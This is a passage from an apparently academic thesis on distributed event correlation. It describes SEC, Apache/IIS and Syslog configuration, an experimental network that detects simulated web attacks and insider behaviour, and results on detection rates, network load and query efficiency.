*4.3.2.2 SEC configuration.* Chapter 2 included a discussion of the Simple Event Correlator (SEC), including its basic configuration options. In the actual implementation, logs are drawn from logfiles set up in the Apache and IIS configuration, `/var/log/apache2/research_access.log` in Apache and `C:\WINDOWS\system32\LogFiles\W3SVC1\ex1005.log` in IIS, as well as the Apache error log at `/var/log/apache2/error.log` and the MySQL query log at `/var/log/mysql/mysql.log`. In addition, four rule types were used - Single, SingleWithSuppress, Suppress and SingleWithThreshold. These rules are grouped into fourteen SEC configuration files - twelve rulesets to detect the twelve detectable use cases, and two rulesets to create certain conditions necessary for implementing the four-mode model. The organization of these rulesets on the filesystem takes advantage of SEC’s ability to process multiple configuration files in parallel, and is designed to effectively implement the three logging modes discussed in Chapter 3. On each log-producing system, three directories were created in the same directory as SEC. These directories were named “common,” “conf-available” and “conf-enabled.” The implementation was inspired by Apache’s configuration paradigm: all configuration files reside in the “conf-available” directory, and those which are desired for any particular run of the event correlator are copied into “conf-enabled.” This allows SEC to be initialized with the same command each time, by specifying the configuration to load as “-conf=conf-enabled/\*.conf.” The entire general command used to initialize SEC is as follows:



```
perl sec.pl -conf=conf-enabled/*.conf -input=<logfile
location>=OPTIONALCONTEXT -intevents
```

This general command can be customized to allow multiple logging options. Following are the three commands used to run SEC on each of the three web servers in the experimental network.

**Development:** *perl sec.pl -conf=conf-enabled/\*.conf*  
*-input=/var/log/apache2/research\_access.log*  
*-input=/var/log/mysql/mysql.log=MYSQL -intevents*

**Intelligence:** *perl sec.pl -conf=conf-enabled/\*.conf*  
*-input=/var/log/apache2/research\_access.log*  
*-input=/var/log/apache2/error.log=ERROR -intevents*

**Marketing:** *perl sec.pl -conf=conf-enabled/\*.conf*  
*-input=C:\WINDOWS\system32\LogFiles\W3SVC1\ex1005.log -intevents*

This configuration also allows the four modes to be implemented as combinations of configuration files. To configure Mode 1, one would place only the configuration files for the desired behaviors in the “conf-enabled” directory. To configure Mode 2, one would add to those configuration files a special file called “hybridcontext.conf.” This file simply creates a “hybrid logging” context within SEC. Each configuration file is designed to adhere to Mode 1 when that context is missing, and to adhere to Mode 2 when it is present. To configure Mode 3, one would remove “hybridcontext.conf” and replace it with “all\_events.conf.” This file tells SEC to forward each raw log message it receives. Thus all raw log messages will be sent, and the other configuration files will send synthetic events as appropriate. To configure Mode 4, only “all\_events.conf” would be placed in the “conf-enabled” directory, excluding event correlation activities and sending only raw logs.

The “-intevents” option tells SEC to create an event (SEC\_STARTUP) and context (SEC\_INTERNAL\_EVENT) at startup. The “hybridcontext.conf” rule detects these and creates the HYBRID\_LOGGING context. These internal events are also

detected by the delayed webcrawler ruleset, which uses it to load library code before it starts processing events.

*4.3.2.3 Apache and IIS configuration.* The choice was made early on that the content on each of the three web servers should be real-world content, rather than fabricated websites. This provides another layer of realism to the experiment. In keeping with the subnet naming convention, the content on the Development server was gathered from Sourceforge.net, a popular website for hosting of and collaboration on open source projects; the content on the Intelligence server was gathered from Wikipedia, the free online encyclopedia; and the content from the Marketing server was gathered from the GNU Operating System's homepage, a site dedicated to increasing awareness of free software. All content was gathered using GNU Wget.

Chapter 3 made the case for understanding and limiting observables. To that end, a process was applied to Apache and IIS logs to identify those log elements which were essential for detecting what was identified as interesting behavior. At first, IIS was configured with the W3C Extended Log File Format, with every log element turned on. Apache is configured by a format string: the format string used to configure Apache at first is found in Figure 4.3.

```
LogFormat "%a|%A|%B|%b|%f|%h|%H|%{Content-Type}i|  
%{Referer}i|%{User-Agent}i|%l|%m|%p|%P|%s|%t|%T|  
%u|%U|%v|%V|%I|%O|%D|%k|%q|%r|%X" test_logging_all
```

Figure 4.3: Original Apache Configuration.

Due to Apache's formatting and header selection options, there is a nearly infinite universe of possible log format configurations. The original format string aimed to capture common and relevant information about each access. At this stage, the emphasis shifted to the use cases. The process of writing SEC rules to detect each use case revealed not only which log elements were commonly relevant, but forced certain design decisions. For instance, SQL injection attacks are detected in

the query string as GET parameters for the purposes of this research. While that is a plausible location for an injection attack, it is equally if not more likely that such an attack would be located in POST parameters. This information is not logged by default; in fact, IIS requires third-party software to log POST data. In Apache, the configuration is straightforward with `mod_security` or `mod_dumpio`.

When SEC rulesets were written to detect each use case, the original logging configurations were condensed to include only log elements which had been used in detection, as well as a few other elements to facilitate informative alerts. Table 4.3 shows the Apache and IIS elements included in the final configuration.

Table 4.3: Limited Log Element Observables.

Description	Apache Format String	IIS Element Name
Remote IP Address	%a	c-ip
Date/Time	%t	date, time
Response size (bytes)	%b	sc-bytes
Response HTTP status	%s	sc-status
Requested URL	%U	cs-uri-stem
Referer	%{Referer}i	cs(Referer)
Query String	%q	cs-uri-query
SSL Version	%{version}c	N/A
SSL Cipher	%{cipher}c	N/A
SSL Error code	%{errcode}c	N/A
SSL Error string	%{errstr}c	N/A

*4.3.2.4 Syslog configuration.* The last major entity whose configuration merits discussion is Syslog. Syslog is a logging standard, used for sending messages either to local files or to remote destinations over the network. Since Syslog is popular and widespread, the decision was made early on to use the Syslog format to transmit messages from the log-producers to the log server on the experimental network. However, difficulty was encountered during implementation.

In Linux, Syslog is supported by default, with configuration files already in place. However, since Syslog is not a program per se, Ubuntu (and other Linux distributions) merely provide Syslog headers (in Ubuntu, at `/usr/include/sys/syslog.h`)

and assume that each application will implement its own Syslog capability. SEC provides that capability, but lacks the flexibility required for this research. To provide that flexibility, a custom Syslog-sending program was developed in C. As it turned out, the sending of messages through Syslog is quite simple. The code is listed in Listing IV.1.

Listing IV.1: Source of syslogclient.c.

```
#include <syslog.h>

int main ( int argc, char *argv[])
{
    openlog("SECEvent", LOG_NDELAY, LOG_LOCAL0);
    syslog(LOG_WARNING, "%s %s", argv[1], argv[2]);
    closelog();

    return 0;
}
```

In addition to the program, some system configuration changes had to be made to integrate with the Syslog configuration. First, */etc/syslog.conf* had to be modified so that the selected facility (local0) would be logged. This was done by adding the line “local0.\* @logserver”. In this case, “logserver” refers to a network location, so an entry was added to */etc/hosts* as follows: “192.168.1.91 logserver”. Finally, restarting the related services (`sudo services networking restart` and `sudo services syslogd restart`) completed the setup.

In Windows Server 2003, the situation is somewhat different. Windows does not ship with Syslog headers or remote logging capability. Furthermore, the Syslog headers from Linux required the Linux environment to run, so the code used on those machines would not work in Windows. An entire external solution would be required. In this work, a free tool called KLOG from Kiwi Enterprises (<http://www.kiwisyslog.com>) is used. This tool will forward arbitrary messages in a similar fashion as the custom program which was written for Linux. One additional consideration when dealing

with logs from IIS is the timing of events produced by SEC. Since SEC is configured to watch for changes to text files, it is only able to process the events when they are written to the file. IIS caches log files, only writing them to file once or twice a minute. Thus the composition of log files at the log server seems odd, because the logs from IIS come in bursts. This has not been observed to affect correlation activities, but does produce a discrepancy between the Syslog timestamp and the timestamp in the log message itself.

At the log server, the configuration was somewhat more straightforward. Kiwi Syslog Server was chosen, and by default it listens for Syslog messages directed to itself and writes them to a file. Additional configuration options enabled logging to a database. However, database logging is a premium feature in Kiwi Syslog Server, and it was disabled with the free trial period expired. An alternate configuration was designed, which uses SEC to watch the Kiwi-generated syslog catchall file, and writes each message to the database as it is observed. This accomplishes the same results as logging to the database directly.

As for the database itself, the results are stored in four sets of tables. Initially, log messages are written to an unnormalized table with the name “syslogd\_modeX,” where X is the logging mode in use for the experimental run. After all results are collected, a normalizing perl script (found in Appendix E.6) is run on the “syslogd\_mode3” and “syslogd\_mode4” tables, which normalizes the data and produces a new set of four normalized tables. These four tables are named “syslogd\_modeX\_norm\_raw,” “syslogd\_modeX\_norm\_synth,” “syslogd\_modeX\_norm\_mysql” and “syslogd\_modeX\_norm\_error,” one for each type of log message which could be received.

*4.3.3 Sensor Instrumentation.* Earlier in this chapter, a set of five metrics were established as the five specific ways this research validates the claims in Chapter 1. To measure each of those metrics, sensors were instrumented to collect data and report on each run of the experiment. In total, three sensors are used to observe these metrics. They are central log server analysis, Ntop network usage monitor, and

custom-written scripts. The remainder of this section describes these sensors and their configuration in more detail.

*4.3.3.1 Log Server Analysis.* Log server observation is used to evaluate three of the metrics: detection rate, false positive rate and specific demonstrations. With regard to the detection and false positive rates, knowledge of the SAST scenario configurations allow the comparison of the actual attacks and the alerts produced in the log file. This facilitates the collection of the number of true positives, false positives and false negatives. These numbers can then be evaluated using a process similar to that in Chapter 2 to find the detection rate and false positive rate. With regard to the specific demonstrations, the log server will be observed to determine whether remote configuration and multiple log analysis demonstrations produced the expected results. These observations are taken by an instance of SEC with a fixed ruleset, to ensure that each run of the experiment is evaluated accurately.

*4.3.3.2 Ntop.* Ntop is a popular open source network packet analyzer. It allows the monitoring of traffic over a SPAN port, and produces statistics on network load and the composition of the traffic. This will be used to measure the network load metric by providing statistics on overall network load during the experiment, as well as specific details about the composition of the traffic on the network. In particular, the volume of Syslog traffic in each logging mode will help evaluate that mode's effectiveness. Ntop is easy to install - in Ubuntu it was installed via a simple `sudo apt-get install ntop` command. However, certain aspects of its configuration were somewhat troublesome. To make sure that the statistics were meaningful, a reliable way to clear previous results was needed. However, the built-in option (Admin > Configure > Reset Stats) in Ntop did not reliably clear all of the statistics. In particular, the network load statistics never seemed to be deleted. To ensure that each run of the experiment would include only statistics from that run, a shell script (*reset-Stats.sh*) was written to delete the database files. The script is shown in Listing IV.2.

The script shuts down Ntop, deletes the files, and brings Ntop back online. When it is brought online, statistics from the last run are reliably deleted.

Listing IV.2: Source of resetStats.sh.

```
#!/bin/bash
#resetStats
#resets ntop and rrd stats
#run as root

/etc/init.d/ntop stop
rm -R /usr/share/doc/rrdtool/interfaces
rm -R /var/lib/ntop/interfaces
/etc/init.d/ntop start
```

*4.3.3.3 Custom Script Reporting.* The last sensor consists of custom scripts written to carry out operations on the central database. These scripts perform queries designed to approximate the event correlation activities being conducted by SEC. The scripts also record the start and end times of each query, which makes them useful for comparing the efficiency of queries on raw log messages versus queries on raw log messages which have context provided by synthetic events.

## **4.4 Experimental Procedure**

This section describes the execution of the experiment in detail, including which use cases and logging modes are being tested. It also describes the protocols followed during testing, including how data and statistics are collected and the clearing of logfiles and databases between runs.

*4.4.1 Experimental Run Detail.* The testing of the experimental network is comprised of four runs. Details on each run are shown in Table 4.4. These runs test each logging mode with all use cases, to simulate detection of any scenario under normal circumstances. In addition to the network composition, detection rate and

false positive rate metrics (which apply to every run), runs 3 and 4 are used in the evaluation of several unique metrics, which are also listed.

Table 4.4: Experimental Run Detail.

Number	Logging Mode	Use Cases	Unique Metrics
1	1:Synthetic Only	All	Additional Logs, Query Time Query Time, Normalization
2	2:Hybrid	All	
3	3:Raw + Synthetic	All	
4	4:Raw Only	All	

Each experimental run has a duration of 8 hours, and the schedule stays very much the same. The same SAST scenario is used for each run, with the schedule and source hosts shown in Table 4.5. The two significant variations from run to run are the execution time of three use cases, and the target of each attack. The target of each attack is chosen randomly by the python script executing the attack, adding an element of unpredictability to the simulation. The three use cases with variable execution times are the Naïve webcrawler, Delayed webcrawler and SSL use cases. These cases had to be executed by hand, so the execution times differed slightly. Generally, the webcrawlers were executed early in the simulation, while the SSL use case was executed later.

*4.4.2 Protocols.* Prior to beginning a run of the experiment, several tasks must be completed to ensure that the data collected is correct for that run. There are five such tasks: ensuring that data is properly collected from the previous run, restarting SAST HSAs and resetting Ntop.

To ensure that data is properly collected, each data source must be verified and copied. From Ntop, the “Network Throughput,” “Network Traffic” and “Hosts” pages are saved as PDF files, with the filename indicating the run number. A backup is made of the raw logs sent to the log server during the previous run. All of these files and backups are saved to the network storage disk. Since Apache and IIS already have log archival abilities built in, and SEC has the option to reload its configuration



Table 4.5: Scenario Schedule and Hosts.

Task	Scheduled offset (host)	Host
<b>Scenario Start</b>	+0	
Web Surfing	Throughout	All
CSRF	+0	Development
Injection	+1	Intelligence
Injection sequence	+1.5	Marketing
Traversal	+2	Marketing
Downloads	+3	Development
Redirects	+4	Intelligence
URL Access	+5	Marketing
Errors	+6	Development
Session	+7	Intelligence
XSS	+7.5	Marketing
Naive Web	+1 to +2	Marketing
Delayed Web	+3 to +4	Marketing
SSL	+2 to +7	Dev Server
<b>Scenario End</b>	+8	

without restarting and with or without saving event correlation state, there is no need to manually back up raw log files at the web servers.

Once the data has been stored and verified, the SAST scenario is closed by pressing the “Stop” button on the SAST control interface. It is then important that the SAST HSA services are then restarted. This ensures that any data from the last scenario is destroyed, and that the machine is ready for the next scenario.

The last step involved in preparing the network for a new run is running the “resetStats.sh” tool in Listing IV.2 on the server running Ntop.

Since the database queries can only be run once all data is collected, they are run after the simulation has been completed.

*4.4.3 Experiment Execution.* When the above steps have been performed, the network is ready for the next experimental run. This section defines the process for setting up and executing a run.

Three configuration steps are needed to prepare the network for a run. First, the SEC instances on each web server must be configured. This can be done locally or remotely through the remote configuration shell script written for this purpose. This script can be found in Appendix E.3. Once SEC has been configured, the SAST scenario must be loaded at the controller. Lastly, the database which will store log messages from this run must be created, Kiwi must be configured to write to a new catchall text file, and the log server SEC instance must be configured with the correct source file and destination database.

Once these tasks are complete, the system is ready for the experimental run. Loading and playing the SAST scenario will initiate both benign traffic and scheduled attacks. The scenario runs for eight hours, then stop. At that time, the data collection process described earlier can be initiated.

## V. Results

This chapter presents the results of the experimental runs according to the procedure laid out in Chapter 4. Specifically, the detectability of each use case, statistics on network traffic load and composition, analysis of query efficiency and the specific capabilities of the design are discussed. The first section presents observed empirical results, the second describes the additional capabilities of the system, and the final section analyzes these results and capabilities in the context of the goals of the research.

### 5.1 Results

This section reports the recorded results for each of the metrics identified in Chapter four. Each subsection describes a particular analysis which was performed, any background information necessary to provide context for the data, and the data itself.

*5.1.1 Use Case Detectability.* To verify the detectability metric, each alert generated was mapped and compared with scheduled attacks to determine whether or not that alert represented an actual attack. Table 5.1 shows the total number of alerts for each logging mode and the number of true and false positives. For Modes 1-3, alerts are defined as synthetic log events produced by SEC instances. For Mode 4, the output of database queries against the normalized database were used.

Table 5.1: Detection Probabilities.

Logging Mode	Total Alerts	True Positives	False Positives	False Negatives	$P(I A)$	$P(\neg I \neg A)$
Mode 1	46	45	1	0	0.12276	0.99993
Mode 2	42	40	2	0	0.05855	0.99984
Mode 3	48	47	1	0	0.12752	0.99993
Mode 4	28	26	2	0	0.03886	0.99976

In addition to the detection probabilities in Table 5.1, the discussion in Chapter 3 identified three other important statistics to aid understanding of the detection

capabilities of the experimental system. These are the base rate of malicious traffic, the conditional probability that malicious behavior occurred given that an alert was generated, and the conditional probability that there was no malicious behavior given that there was no alert.

The base rate is important to discuss because, as Section 3.2.2 pointed out, the rate of incidence of malicious behavior is not intuitively taken into account when considering the detection rate of a system such as the one in this research. In addition, the effort to maintain a reasonable rate of incidence in the traffic being analyzed ensures that the detection mechanism is being exercised in a realistic manner.

The rate of incidence of malicious behavior in this research can be calculated several ways. The most accurate method would be to calculate the rate of incidence of suspicious log messages. The total number of log messages generated was 49,770, and Mode 2 identified 157 which were related to attacks. This gives a rate of incidence of malicious log messages of  $157/49,770 = 0.00315$ . An alternative method would be to do the same calculation based on the number of packets involved in each malicious behavior as compared to the overall network throughput in packets. Since this experimental design did not include a sensor for measuring this information, the rate of incidence could not be calculated using this method.

The conditional probabilities are important because they allow a realistic consideration of the performance of the system by recognizing that the false alarm rate is the limiting factor on the effectiveness of the system in detecting suspicious behavior [10]. These results include the calculation of both conditional probabilities to emphasize the impact of the rate of incidence of malicious traffic and the false positive rate on the detection effectiveness of the system.

To calculate  $P(I|A)$  (the probability that an alert really indicates an attack) and  $P(\neg I|\neg A)$  (the probability that the absence of an alarm really indicates that there is no attack), the equations presented in Chapter 3, Equation 3.2 and Equation 3.3 can be evaluated. To do this, some preliminary values must be calculated.

Overall, there were 49,770 log messages generated. Of those, the run of Mode 2 identified 157 messages which were related to attacks. Thus  $P(I)$ , the probability of an intrusion, and  $P(\neg I)$ , its inverse, can be calculated as

$$P(I) = 1/\frac{49770}{157} = 3.1 \times 10^{-3} \quad (5.1)$$

$$P(\neg I) = 1 - P(I) = 0.996845 \quad (5.2)$$

The calculations for  $P(I|A)$  and  $P(\neg I|\neg A)$  are now straightforward. Equation 5.3 and Equation 5.4 shows the calculation for Mode 1 as an example.

$$P(I|A) = \frac{3.1 \times 10^{-3} \cdot 45/46}{3.1 \times 10^{-3} \cdot 45/46 + 0.996845 \cdot 1/46} = 0.12276 \quad (5.3)$$

$$P(\neg I|\neg A) = \frac{0.996845 \cdot 45/46}{0.996845 \cdot 45/46 + 3.1 \times 10^{-3} \cdot 1/46} = 0.99993 \quad (5.4)$$

*5.1.2 Network Composition.* In measuring network composition, nine essential components were identified. These components were the overall number of abstract host workstations (benign or malicious), total and average network throughput, SAST control traffic (absolute and as a percentage), HTTP traffic (absolute and as a percentage) and Syslog traffic (absolute and as a percentage). These amounts and proportions are shown in Table 5.2. Note that the number of hosts includes only the abstract workstations, not the three web servers, SAST controller and log server.

Table 5.2: Network Traffic Composition.

	Mode 1	Mode 2	Mode 3	Mode 4
<b>Number of Hosts</b>	15	15	15	15
<b>Total Network Throughput</b>	2.0 GB	2.0 GB	2.1 GB	2.4 GB
<b>Average Network Throughput</b>	587.7 Kb/s	584.2 Kb/s	622.4 Kb/s	714.3 Kb/s
<b>SAST Traffic (MB)</b>	56.3 MB	56.2 MB	57.3MB	57.2 MB
<b>SAST Traffic (%)</b>	2.8%	2.8%	2.7%	2.3%
<b>HTTP Traffic (GB)</b>	1.9 GB	1.9 GB	2.0 GB	2.3 GB
<b>HTTP Traffic (%)</b>	97.1%	97.1%	96.9%	97.3%
<b>Syslog Traffic (KB)</b>	7.8 KB	31.5 KB	6.8 MB	6.8 MB
<b>Syslog Traffic (%)</b>	0.00039%	0.00158%	0.324%	0.283%

### 5.1.3 Query Efficiency.

5.1.3.1 *Addition of Context into the Database.* To test the addition of context in a normalized database through the use of synthetic events, four queries were written to test four different conditions. The results of these queries can be found in Table 5.3. The conditions are as follows:

- Detecting the “Excessive downloads” use case in a Mode 3 (All Raw and Synthetic Messages) database without retrieving related logs (query found in Appendix D.20).
- Detecting the “Excessive downloads” use case in a Mode 4 (Only Raw Messages) database without retrieving related logs (query found in Appendix D.22).
- Detecting the “Excessive downloads” use case in a Mode 3 (All Raw and Synthetic Messages) database with retrieving related logs (query found in Appendix D.23).
- Detecting the “Excessive downloads” use case in a Mode 4 (Only Raw Messages) database with retrieving related logs (query found in Appendix D.24).

Table 5.3: SQL Query Efficiency - Context Comparison.

Logging Mode	Related Logs	Number of Records	Execution Time
Mode 3	No	257	0.086s
Mode 4	No	49,770	120.915s
Mode 3	Yes	38,700	1.0s
Mode 4	Yes	49,770	289.4s

These queries were run on the Log Server using Oracle Database 10g, Strawberry Perl 5.10.1.1 and Windows XP SP3 on an Intel Core 2 Duo 2.6 GHz with 3GB of RAM.

*5.1.3.2 Impact of Normalization.* In addition to the context comparison, the impact of normalization on query execution times was evaluated. Table 5.4 shows the normalized and non-normalized runtime of queries which detect their respective use cases. All queries were run on a Logging Mode 4 (Raw Messages only) database. Each query was run 10 times and the results averaged due to a high amount of variability in the runtimes of some queries. All queries were written in PL/SQL with the exception of the Naïve Web Crawler, Excessive Downloads, and Excessive Access Attempts queries. Due to the complex nature of these use cases, these behaviors were detected in the database using Perl scripts. All queries and scripts used in this analysis are located in Appendix D.

## 5.2 Capability of the Experimental Design

In addition to the empirical results in the previous section, the research goals included pursuit of certain capabilities in the experimental network. These capabilities demonstrate the potential flexibility of distributed event correlation and help validate the value it provides. This section discusses two such capabilities - remote configurability and log source flexibility.

*5.2.1 Remote Configurability.* In a small experimental network, it is feasible to manually configure each machine in a network. Indeed, a centralized event

Table 5.4: SQL Query Runtime Normalization Comparison.

Use Case	Number of Records	Non-normalized runtime	Normalized runtime	% Decrease
Injection	49,770	0.206s	0.158s	23.30
Cross Site Scripting	49,770	0.079s	0.029s	63.29
Auth/Session Mgmt	49,770	0.505s	0.015s	97.03
Object References	49,770	0.245s	0.123s	49.80
Cross Site Request Forgery	49,770	0.085s	0.031s	63.53
URL Access	49,770	0.083s	0.055s	33.73
Redirects and Forwards	49,770	0.073s	0.058s	20.55
Transport Layer Protection	49,770	0.07s	0.054s	22.86
Naïve Web Crawler	49,770	8,063.3s	325s	95.97
Excessive Downloads	49,770	76.6s	265.9s	-247.13
Excessive Access Attempts	49,770	210.1s	324.7s	-54.55
Average:				15.31

correlator can be reasonably configured manually, since all event correlation activities happen in one place. It is essential, then, that a distributed event correlation scheme have the capacity for remote configuration to overcome this disadvantage.

To provide this capability, a bash script was written which utilized SEC's capability for dynamic configuration via Linux operating system signals. The script can be found in Appendix E.3. The script takes a logging mode and a reset type as parameters, the reset type being either 'hard' (terminate ongoing event correlation activities) or 'soft' (maintain ongoing event correlation activities and just reload the configuration). The script chooses the appropriate configuration files for the indicated logging mode, and moves them from *conf-available* to *conf-enabled*. It then sends either SIGHUP (hard reset) or SIGABRT (soft reset) to SEC, causing it to reload its configuration.

The Windows operating system does not have a comparable signaling system, so SEC does not have this remote configuration ability in Windows.



*5.2.2 Log Source Flexibility.* This research focused on web server logs and attacks. However, there are many more log sources and log formats available to an enterprise. To show that this method works for other log sources in combination with web server logs, an “Injection Sequence” use case was added. This use case, described in detail in Chapter 4, uses the query log from MySQL in conjunction with the Apache access log to discern suspicious behavior without the use of a regular expression signature.

In addition, the “Insufficient Transport Layer Protection” use case used the Apache error log, which does not have the rigid format of the access log, to detect accesses by the Firefox web browser to an SSL-enabled page with an invalid certificate.

### **5.3 Analysis**

This section looks at the empirical results from the beginning of the chapter and evaluates each group of data in the context of the overall goals of the research.

*5.3.1 Use Case Detectability.* The first thing worth noting about this section is that the false positive rate is relatively very low, given the small number of total alerts generated. The true positive tally includes a few alerts which were out of sync with their attack - these alerts happened when attack behavior happened as a by-product of another attack. For instance, when the “Excessive Access Attempts” attack executes, over a dozen requests are made from the same client to the same server in rapid succession. This is exactly the sort of behavior meant to be caught by the webcrawler rulesets, and so the “Excessive Access Attempts” attack was often alerted upon by the “Naïve Webcrawler” ruleset. Since a genuine attack was being detected, the alert was regarded as a true positive. This illustrates the difficulty of coding rulesets to detect even policy violations - the policies must specifically define suspicious or disallowed behavior, and that specificity must translate to the detection mechanism (in this case, SEC rulesets).

The values for  $P(I|A)$  and  $P(\neg I|\neg A)$  are also worth noting.  $P(I|A)$ , the probability that an alert really indicates an intrusion, is unsettlingly low - 5% for Mode 2 and 12% for Modes 1 and 3. These numbers are so low because of the base-rate fallacy discussed in Chapter 3 - the implementation of Bayes' Theorem used to calculate  $P(I|A)$  and  $P(\neg I|\neg A)$  is completely dominated by the false positive rate. Since the number of total alerts is low (less than 50 in all cases), even one false positive produces a rather high false positive rate (0.022 in Mode 1). If the number of alerts were much higher (in the hundreds or thousands, perhaps), the false positive rate would be much lower and  $P(I|A)$  would rise to more acceptable levels.

On the other hand  $P(\neg I|\neg A)$ , the probability that the lack of alert can be trusted to mean that there is no intrusion, produced consistently high values (over 99.99%). Since these values show that this method of distributed event correlation can reliably detect attacks with a limited number of false positives and reliable detection is a prerequisite for adding value over centralized event correlation, the results from this section provide a good foundation for demonstrating the value of distributed event correlation.

*5.3.2 Network Composition.* Examination of the experimental network composition, shown in Table 5.2 reveals some interesting phenomena. Most prominently, traffic from Syslog is an incredibly small percentage of the overall traffic. However, it is important to remember that this research utilizes only a small number of log-producing applications. If this were a full-scale enterprise network, there would be other forms of logs, including workstation, router, firewall, and other application logs. These logs, if added to this experimental network with no further modification, could easily push the percentage of traffic identified as Syslog significantly higher. Even with this caveat, the range in volume of Syslog traffic demonstrated by these results is quite wide. Figure 5.1 shows the amount of Syslog traffic generated in each logging mode. It is worth noting that even though the absolute amount of Syslog traffic was the same in Modes 3 and 4, the volume of Syslog traffic as a percentage of the whole

was lower in Mode 4 than in Mode 3. Since Mode 3 includes synthetic events and Mode 4 excludes them, these results are consistent with the configurations of each logging mode.




Figure 5.1: Total Syslog Traffic per mode in Kilobytes (KB).

The flexibility offered by the four logging modes when it comes to adjusting the amount of Syslog traffic. In the best case, where a Mode 4 configuration is compared with a Mode 1 configuration, there is a 99.88% reduction in the amount of Syslog traffic on the network. These results clearly show the value of a configurable, distributed event correlation infrastructure with regards to network utilization. This is especially true in a low-accountability environment, where no centralized logging is required and thus the smallest possible amount of Syslog traffic can be sent over the network.

### 5.3.3 Query Efficiency.

*5.3.3.1 Addition of context.* Initially, only the first two queries in Table 5.3 were planned (those without the related logs). The results from that analysis were so striking that the second set with related logs was added to provide more data on the value of adding context to a database. In either case, the scenario in this analysis is a high-accountability environment where every message (for legal or policy reasons) must be logged centrally. Synthetic events are used in this case to provide context, to enable quicker identification of suspicious activity in the database. When the database is normalized, the synthetic events are placed in their own table, making it trivially easier to find an already-stored synthetic event than to find the activity from scratch in the database. Thus, the addition of the related logs was added, to see if adding context to the database still helps in the case where related log messages are desired as well. Our results clearly show that even when related logs are collected, the time required in the context-aware case is several orders of magnitude smaller than in the context-less case. This is an intuitive result - in the context-aware case, the hard work of actually correlating individual log-based events was done in real-time as they happened, allowing the context-aware script to merely query the database for related logs. The context-less case had to do both the task of correlating individual events and the task of searching for related logs. In this experimental high-accountability environment the raw logs are still accessible at the centralized log server, but these results demonstrate that the addition of context in real time through distributed event correlation can foster a remarkable decrease in the amount of time it takes to interact with those raw logs.

*5.3.3.2 Impact of Normalization.* The results from the normalization queries, shown in Table 5.4, clearly demonstrated the value of normalizing a database for increasing the efficiency of queries made on that database, with an average reduction in query time of 15.31%. This benefit is even clearer when the OWASP Top Ten use cases are considered on their own. Altogether, these queries experienced an

average percent reduction in query time of 46.76%. Figure 5.2 shows the runtimes of these queries, along with the average runtime.




Figure 5.2: Normalized and Non-normalized queries for OWASP use cases.

The three insider threat use cases (the Delayed Web Crawler was omitted due to its similarity to the Naïve Web Crawler and the long runtimes of each) did not all exhibit such a clear-cut benefit. While the Naïve Web Crawler queries showed the most runtime reduction of the set (absolute reduction of over 2 hours or 95.97%), the Excessive Downloads and Excessive Access Attempts queries were actually slower by several minutes in the normalized case. Figure 5.3 shows the runtimes of these queries. The higher runtimes for the last two queries is likely due to the data structures used

to perform the detection - in the non-normalized queries, the sliding time window was implemented using a Perl array, while the normalized queries implemented the window as a series of SQL queries. It was thought that the ability to leverage optimizations in Oracle would cause the normalized queries to perform more efficiently. Clearly, this is not universally the case.




Figure 5.3: Normalized and Non-normalized queries for insider threat use cases.

An examination of the algorithms used in these queries provides insight into these results. Appendix F provides flowcharts for the normalized and non-normalized queries in the Naïve Webcrawler and Excessive Downloads use cases. The Excessive Access Attempts use case was not included due to its similarity to the Naïve Webcrawler use case. Essentially, the only difference between the two is that the query which pulls all relevant records from the database includes an additional qualifier that only selects those log messages with an HTTP status of “404.” This results in a much lower number of records to consider.

When comparing the Naïve Webcrawler and Excessive Downloads flowcharts, it is immediately apparent that in both cases, the detection algorithm is more complex

in the non-normalized case. However, the non-normalized algorithm for the Naïve Webcrawler is even more complex than the Excessive Downloads algorithm - the worst case complexity of the window is  $n^2$  for the former, as opposed to  $n$  for the latter. This is necessary because to detect the Naïve Webcrawler, both the beginning and the end of the time window slide - that is to say that the length of the time window is constant. By contrast, detection of the Excessive downloads requires an expanding time window to detect the sum of downloads since the first observed access.

This difference in complexity exposes the underlying mechanisms used to conduct the detection. In the non-normalized cases, a Perl array was used to store the relevant information parsed out of the log messages. These Perl arrays were then used to implement the sliding time windows. In the normalized queries, no such reliance on arrays was necessary, since the sliding time window could be implemented entirely in SQL queries. It seems, therefore, that the implementation of sliding time windows in Perl arrays is more efficient than their implementation in SQL queries. The relatively lower complexity of the Excessive Downloads and Excessive Access Attempts algorithms allows that difference to manifest itself.

These results make two points about database normalization of log messages. First, they show that in many cases there can be a distinct efficiency advantage in doing event correlation using a normalized database. Second, these results illustrate the fact that normalization by itself is unlikely to solve the major issues with centralized log management. In the Excessive Downloads and Excessive Access Attempts queries, a more efficient detection implementation actually outweighed any benefit presented by the use of a normalized database.

The ability to perform analysis on a normalized dataset comes at a price - the data must first be analyzed and processed. In this research, the normalization was done with a Perl script after all data had been collected. This script (included in Appendix E.6) demonstrates just how difficult normalization can be. Separate database tables must be created for each log type, and those log types must then be

analyzed to construct a table which can hold all possible types of data that might be contained in that log. For a fixed-format log like Apache and IIS web server logs, this process is somewhat painless. For more freeform log types (such as the Apache error log), this could be a very difficult task.

#### **5.4   *Summary***

This chapter presented the data collected through four runs of the experimental network, offering context and analysis as to how this data should be interpreted and how it met the research goals.



## VI. Conclusions

This chapter identifies the significance of the research and make recommendations for future research, summarizing and drawing conclusions based on the results presented in Chapter 5.

### ***6.1 Significance of Research***

The significance of this research lies not in its development of a tool, although software was developed and configured. Neither does it lie in the assertion that distributed event correlation provides benefits over centralized, database-driven event correlation - as the research in Chapter 2 showed, the popularity of event correlation is growing, and distributed techniques are being explored and embraced as their value is experienced. Rather, the primary significance of this research lies in the methodical identification, measurement and analysis of specific areas where distributing the event correlation activities adds value to the exercises of log management, log analysis and event correlation. In addition, the characteristics of remote configurability and scalability with regard to multiple log sources address specific difficult problems in the field of log analysis. The thought processes, analysis and results provided in this research address current issues in the field, and therefore offer a valuable contribution to the academic and professional communities to expand upon and use to improve event correlation and log monitoring capabilities.

### ***6.2 Recommendations for Future Research***

There are several areas for future research. First, this research effort focused on web server access logs, and to a lesser extent web server error logs and MySQL logs. Expansion of this methodology to include other types of logs, such as router logs, workstation logs, firewall and intrusion detection logs, and other application logs would add an understanding of what is detectable in those areas.

In addition, further research is recommended in the area of emerging common log event description standards such as Mitre's Common Event Expression. This

area provides great potential for log normalization and event correlation, and parallel research efforts would benefit all concerned communities.

Another area for further research is in the presentation of the alerts generated. As noted in the discussion in Chapter 2, SIEM tools are focused not only on collecting logs and detecting behavior, but also on incident management, reporting and visualization. This research did not meaningfully address the reporting of events once they were generated, or the organizational processes which would be necessary to respond to incidents once they were reported. Further research in this area would give the log collection and incident detection components of this research additional organizational relevance.

